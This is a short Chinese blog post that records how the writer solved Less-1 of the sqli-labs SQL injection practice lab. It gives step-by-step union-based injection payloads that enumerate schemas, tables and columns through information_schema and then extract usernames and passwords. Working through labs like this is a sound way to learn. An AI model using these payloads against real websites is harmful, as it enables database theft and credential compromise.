sqllab通关记录

    技术2023-06-29  82

    sqllab-Less1


    且视他人之凝目如盏盏鬼火,大胆地去走你的夜路。


    搭建sqllab

    将sql文件夹复制到phpstudy下的WWW目录中打开sqllab文件编辑db-creds.inc,编辑密码为root,并且在phpstudy中修改mysql密码为一致

    Less-1

    sqllab正常运行

    寻找可能的注入点

    输入?id=1'  尝试报错

    可以看出数据库为mysql并且报错内容为'1'' limit 0,1

    猜测源原来的数据库语句可能是'select * from xx where id ='1' limit 1,0

    判断列数?id=1' order by 3 --+ 判断列数   (二分法)

    数据库执行语句相当于select * from xx where id='1' order by 3--+' --+为注释符

    使用union联合查询   ?id=-1' union select 1,2,3 --+判断回显位置

    concat ()为聚合函数 用户将多个字符串连接成一个字符串,多列变一列

    mysql> select id,'---',username from admin limit 0,1; mysql> select concat(id,'---',username) frome admin limit 0,1;

    group_concat()用于返回字符串的所有结果,该结果由分组的值连接而成

     查库名

    ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

     查表名

    ?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' --+

    查列名

    ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

    获取数据

    ?id=-1' union select 1,2,group_concat(0x5a,username,0x7e,password) from users --+

    Less-2

    待续。。。。

     

    Processed: 0.010, SQL: 9